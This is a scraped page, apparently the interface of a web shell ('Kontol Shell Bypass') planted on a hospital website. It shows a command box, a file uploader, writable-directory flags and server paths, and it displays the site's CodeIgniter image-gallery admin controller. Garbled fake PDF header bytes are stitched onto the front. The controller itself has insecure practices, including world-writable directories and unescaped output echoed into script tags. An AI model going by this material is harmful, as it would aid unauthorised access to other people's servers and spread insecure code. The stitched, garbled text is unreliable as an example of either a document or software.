%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/hbackup/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/hbackup/application/controllers/admin/ImageGallery.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class ImageGallery extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Testimonial/view_testimonials";
        	
        	redirect(base_url().'admin/login');
        }

        $this->load->model('gallery_category_model', 'category');
        $this->load->model('gallery_model', 'gallery');    
    }
	
	public function index()
	{
		$this->view_photos();
	}
	
	
	public function do_upload($field_name, $upload_path= '', $file_name= '')
	{
		
		if($upload_path!=''){
			$config['upload_path'] = $upload_path;	
		}
		else{
			$config['upload_path'] = './uploads';
		}
		$config['allowed_types'] = 'jpeg|jpg|png|JPEG|JPG|PNG';
		$config['max_size']     = '1500';
		$config['max_width'] = '1024';
		$config['max_height'] = '1024';
		if($file_name!=''){

			$config['file_name'] = $file_name;
		}
		
		$this->upload->initialize($config);
		
		if ( ! $this->upload->do_upload($field_name))
		{
			$error = array('error' => $this->upload->display_errors());

	//		$this->load->view('upload_form', $error);
			
			return 0;
		}
		else
		{
			$data = array('upload_data' => $this->upload->data());

			return $this->upload->data('file_name');	
			
		}

	}

	//**************************************************** CATEGORY ****************************************************	
	public function add_category($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$categoryID = $id;
		
		echo '<script>console.log("add categroy")</script>';
		
		if($id){
		
			$records = $this->category->get_gallery_category($id);
			
			echo '<script>console.log("update Gallery")</script>';
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'GalleryCategoryID' => $records['GalleryCategoryID'],
					'GalleryCategoryName' => $records['GalleryCategoryName'],
					'GalleryCategoryOverview' => $records['GalleryCategoryOverview'],
					'GalleryCategoryPriorityOrder' => $records['GalleryCategoryPriorityOrder'],
					'Status' => $records['Status'],
					'GalleryCategoryPageURL' => $records['GalleryCategoryPageURL']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			echo '<script>console.log("post")</script>';
			
			$this->form_validation->set_rules('GalleryCategoryName', 'Gallery Category Title', 'required');			
			$this->form_validation->set_rules('GalleryCategoryOverview', 'Gallery Category Overview', 'required');
			$this->form_validation->set_rules('GalleryCategoryPageURL', 'Slug', 'required');
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating category")</script>'; //console.log("Error in validating doctor");
  		            $this->load->view('admin/AddGalleryCategory');
  		            exit;
            }
			else
			{

				if(isset($post['GalleryCategoryID'])){
					$categoryID = $post['GalleryCategoryID'];
				}
		
				$insert_data = array(	
					'GalleryCategoryName' => $post['GalleryCategoryName'],
					'GalleryCategoryOverview' => $post['GalleryCategoryOverview'],
					'GalleryCategoryPriorityOrder' => $post['GalleryCategoryPriorityOrder'],
					'Status' => $post['Status'],
					'GalleryCategoryPageURL' => $post['GalleryCategoryPageURL']
				);
		
				$success = '';	
				 echo '<script>console.log("'.$categoryID.'")</script>';
				if($categoryID){
					$success = $this->category->update_gallery_category($insert_data,$categoryID);
				}
				else{
				
					$success = $this->category->insert_gallery_category($insert_data);
					echo '<script>console.log("'.$success.'")</script>';
				}			
		
				if($success){
					redirect(base_url()."admin/ImageGallery/view_categories");

				}
				
				
			}
       			
		}
		
		
		$this->load->view('admin/AddGalleryCategory',$data);
	}
	
	
	public function update_category($id){
	
		$this->add_category($id);
	}
	
	
	public function view_categories()
	{
		
		$data = array();
		
		$data['records'] = $this->category->get_gallery_categories();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewGalleryCategories',$data);
	}
		
	
	
	
	
	//**************************************************** ALBUM ****************************************************	
	public function add_album($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$albumID = $id;
		
		echo '<script>console.log("add album")</script>';
		
		if($id){
		
			$records = $this->gallery->get_gallery_album($id);
			
			echo '<script>console.log("update Album")</script>';
			
			if(!$records){
				
				show_404();
				
			}
			else{
			
				$data = array(
					'GalleryAlbumID' => $records['GalleryAlbumID'],
					'GalleryAlbumName' => $records['GalleryAlbumName'],
					'GalleryAlbumDescription' => $records['GalleryAlbumDescription'],
					'GalleryAlbumCategory' => $records['GalleryAlbumCategory'],
					'GalleryAlbumCover' => $records['GalleryAlbumCover'],
					'GalleryAlbumPriorityOrder' => $records['GalleryAlbumPriorityOrder'],
					'Status' => $records['Status'],
					'GalleryAlbumPageURL' => $records['GalleryAlbumPageURL']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			echo '<script>console.log("post")</script>';
			
			$this->form_validation->set_rules('GalleryAlbumName', 'Gallery Album Title', 'required');			
			$this->form_validation->set_rules('GalleryAlbumOverview', 'Gallery Album Overview', '');
			$this->form_validation->set_rules('GalleryAlbumPageURL', 'Slug', 'required');
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating album")</script>'; //console.log("Error in validating doctor");
  		            $data['error'] = "Error in validating album";
  		            $data['categories'] = $this->category->get_gallery_categories();
  		            
  		            $this->load->view('admin/AddAlbum',$data);
            }
			else
			{
				
				$cover_pic ='';
				
				if($_FILES['GalleryAlbumCover']['name']){
					$cover_pic = $this->do_upload('GalleryAlbumCover', './uploads/gallery', 'cover_'.$post['GalleryAlbumPageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
					echo '<script>console.log("'.implode(',',$data['error']).'")</script>';
				}
				
				if(($_FILES['GalleryAlbumCover']['name'])&&(!$cover_pic)){
					$data['error'] = "Unable to upload Cover picture";
  		            $data['categories'] = $this->category->get_gallery_categories();
					$this->load->view('admin/AddAlbum',$data);
					echo '<script>console.log("Unable to upload Cover picture")</script>';
					exit;
				}
				else
				{

					if(isset($post['GalleryAlbumID'])){
						$albumID = $post['GalleryAlbumID'];
					}
		
					$insert_data = array(	
						'GalleryAlbumName' => $post['GalleryAlbumName'],
						'GalleryAlbumDescription' => $post['GalleryAlbumDescription'],
						'GalleryAlbumCategory' => $post['GalleryAlbumCategory'],
						'GalleryAlbumPriorityOrder' => $post['GalleryAlbumPriorityOrder'],
						'Status' => $post['Status'],
						'GalleryAlbumPageURL' => $post['GalleryAlbumPageURL']
					);
					
					if($cover_pic!=''){
						$insert_data['GalleryAlbumCover'] = $cover_pic;
					}
		
					$success = '';	
					 echo '<script>console.log("'.$albumID.'")</script>';
					if($albumID){
						$success = $this->gallery->update_gallery_album($insert_data,$albumID);
					}
					else{
				
						$success = $this->gallery->insert_gallery_album($insert_data);
						if (!file_exists('./uploads/gallery/album-'.$success)) {
							mkdir('./uploads/gallery/album-'.$success, 0777, true);
						}
						echo '<script>console.log("'.$success.'")</script>';
					}			
		
					if($success){
						redirect(base_url()."admin/ImageGallery/view_albums");

					}
				
				
				}
			}
       			
		}
		
		$data['categories'] = $this->category->get_gallery_categories();
		
		$this->load->view('admin/AddAlbum',$data);
	}
	
	
	public function update_album($id){
	
		$this->add_album($id);
	}
	
	
	
	public function view_albums()
	{
		
		$data = array();
		
		$data['records'] = $this->gallery->get_gallery_albums_summary();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewAlbums',$data);
	}
	
	
	
	//**************************************************** PHOTOS ****************************************************	
	public function add_photos()
	{
		
		$data = array();
		$data['data_string'] = '';
		
		echo '<script>console.log("add photos")</script>';
		
		$post=$this->input->post();
		
		if(($post)&&(!empty($_FILES['photos']['name']))){	
			
			echo '<script>console.log("post")</script>';
			
			$this->form_validation->set_rules('GalleryPhotoAlbum', 'Gallery Album', 'required');			
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating album")</script>'; //console.log("Error in validating doctor");
  		            $data['error'] = "Error in validating album";
  		            $data['albums'] = $this->gallery->get_gallery_albums('GalleryAlbumID, GalleryAlbumName','GalleryAlbumPageURL');
  		            
  		            $this->load->view('admin/AddPhotos');
            }
			else
			{
				
				$album = $this->gallery->get_gallery_album($post['GalleryPhotoAlbum']);
				
				echo '<script>console.log("album fields: '.$album['GalleryAlbumID'].','.$album['GalleryAlbumName'].'")</script>';
				
				$filesCount = count($_FILES['photos']['name']);
				
				echo '<script>console.log("album fields: '.$filesCount.'")</script>';
				
				$data['not_uploaded'] = array();
				$data['error'] = array();
				$data['photo_id'] = array();
				
				$upload_path = './uploads/gallery/album-'.$album['GalleryAlbumID'];				
				echo '<script>console.log("'.$upload_path.'")</script>';
				
				if (!file_exists($upload_path)) {
					mkdir($upload_path, 0777, true);
					echo '<script>console.log("created")</script>';
				}
			
				for($i = 0; $i < $filesCount; $i++){
					$_FILES['photo']['name'] = $_FILES['photos']['name'][$i];
					$_FILES['photo']['type'] = $_FILES['photos']['type'][$i];
					$_FILES['photo']['tmp_name'] = $_FILES['photos']['tmp_name'][$i];
					$_FILES['photo']['error'] = $_FILES['photos']['error'][$i];
					$_FILES['photo']['size'] = $_FILES['photos']['size'][$i];

					
		
					if($_FILES['photo']['name']){
					
						echo '<script>console.log("tmp file created")</script>';
						
						$file_name = $this->do_upload('photo',$upload_path,'photo_'.$album['GalleryAlbumID'].'_'.date('Y-m-d').'_'.($i+1));
						
						if(!$file_name){
							$data['not_uploaded'][] = $_FILES['photo']['name'];
							$data['error'][] = array('error' => $_FILES['photo']['name'].': '.$this->upload->display_errors());
						}
						else{
							
							$insert_data = array(	
								'GalleryPhotoAlbum' => $post['GalleryPhotoAlbum'],
								'GalleryPhotoPageURL' => $file_name,
								'GalleryPhotoTitle' => $album['GalleryAlbumName'],
								'GalleryPhotoCaption' => '',
								'Status' => $post['Status'],
							);
						
							$data['photo_id'][] = $this->gallery->insert_album_photo($insert_data);
						}
					}
					
				}
				
				if(!empty($data['not_uploaded'])&&($filesCount==count($data['not_uploaded']))){
					
					$data['albums'] = $this->gallery->get_gallery_albums('GalleryAlbumID, GalleryAlbumName','GalleryAlbumPageURL');
					$this->load->view('admin/AddPhotos',$data);
					exit;
				}
				else{
					
					$data['album_details'] = $this->gallery->get_gallery_album($post['GalleryPhotoAlbum']); 
					$data['photos'] = $this->gallery->get_album_photos($post['GalleryPhotoAlbum']);
					
					$data['records'] = $this->gallery->get_gallery_albums_summary();
					
					$this->load->view('admin/ViewAlbums',$data);
					exit;
		//			redirect(base_url()."admin/ImageGallery/view_album/".$post['GalleryAlbumID']);
					
				}
				
			}
       			
		}
		
		$data['albums'] = $this->gallery->get_gallery_albums_summary('GalleryAlbumID, GalleryAlbumName,GalleryAlbumPageURL');
		
		echo '<script>console.log("'.count($data['albums']).'")</script>';
		
		$this->load->view('admin/AddPhotos',$data);
	}
	
	
	public function update_photo($id){
	
		$data = array();
		
		$records = $this->gallery->get_photo($id);
		
		$post=$this->input->post();
		
		if($post&&$records){
			
			$this->form_validation->set_rules('GalleryPhotoAlbum', 'Gallery Album', 'required');
			$this->form_validation->set_rules('GalleryPhotoTitle', 'Photo Title', 'required');
			
			if ($this->form_validation->run() == FALSE)
            {
				echo '<script>console.log("Error in validating album")</script>'; //console.log("Error in validating doctor");
				$data = $this->gallery->get_photo($id);
				$data['error'] = "Error in validating photo";
				
				$this->load->view('admin/UpdatePhoto',$data);
            }
            else{
            
            	if($post['GalleryPhotoCaption']==''){
            		$post['GalleryPhotoCaption']=$post['GalleryPhotoTitle'];
            	}
            	if($post['GalleryPhotoAlternateName']==''){
            		$post['GalleryPhotoAlternateName']=$post['GalleryPhotoTitle'];
            	}
            	
            	$update_data = array(	
					'GalleryPhotoAlbum' => $post['GalleryPhotoAlbum'],
					'GalleryPhotoTitle' => $post['GalleryPhotoTitle'],
					'GalleryPhotoCaption' => $post['GalleryPhotoCaption'],
					'GalleryPhotoAlternateName' => $post['GalleryPhotoAlternateName'],
					'GalleryPhotoPriorityOrder' => $post['GalleryPhotoPriorityOrder'],
					'Status' => $post['Status'],
				);
				
				if($id){
					$success = $this->gallery->update_album_photo($update_data,$id);
				}
				
				if($success){
					redirect(base_url()."admin/ImageGallery/view_photos");

				};
            
            }
		
		}
			
		
		if($records){
			$data = array(
					'GalleryPhotoID' => $records['GalleryPhotoID'],
					'GalleryAlbumName' => $records['GalleryAlbumName'],
					'GalleryPhotoAlbum' => $records['GalleryPhotoAlbum'],
					'GalleryPhotoTitle' => $records['GalleryPhotoTitle'],
					'GalleryPhotoPageURL' => $records['GalleryPhotoPageURL'],
					'GalleryPhotoPriorityOrder' => $records['GalleryPhotoPriorityOrder'],
					'GalleryPhotoAlternateName' => $records['GalleryPhotoAlternateName'],
					'GalleryPhotoCaption' => $records['GalleryPhotoCaption'],
					'Status' => $records['Status'],					
				); 
		}
		
		$data['albums'] = $this->gallery->get_gallery_albums_summary('GalleryAlbumID, GalleryAlbumName,GalleryAlbumPageURL');
		
		$this->load->view('admin/UpdatePhoto',$data);
	}
	
	
	
	public function view_photos()
	{
		
		$data = array();
		
		$data['records'] = $this->gallery->get_gallery_photos();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewPhotos',$data);
	}
	
	public function remove_photo()
	{
		
		$data = array();
		
		
		if($this->gallery->delete_doctor($id)){
			$data['msg'] = 'Photo deleted succesfully';
		}
		else{
			$data['msg'] = 'Photo could not be deleted';
		}
		
		$data['records'] = $this->gallery->get_gallery_photos();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewPhotos',$data);
	}
	

}

Kontol Shell Bypass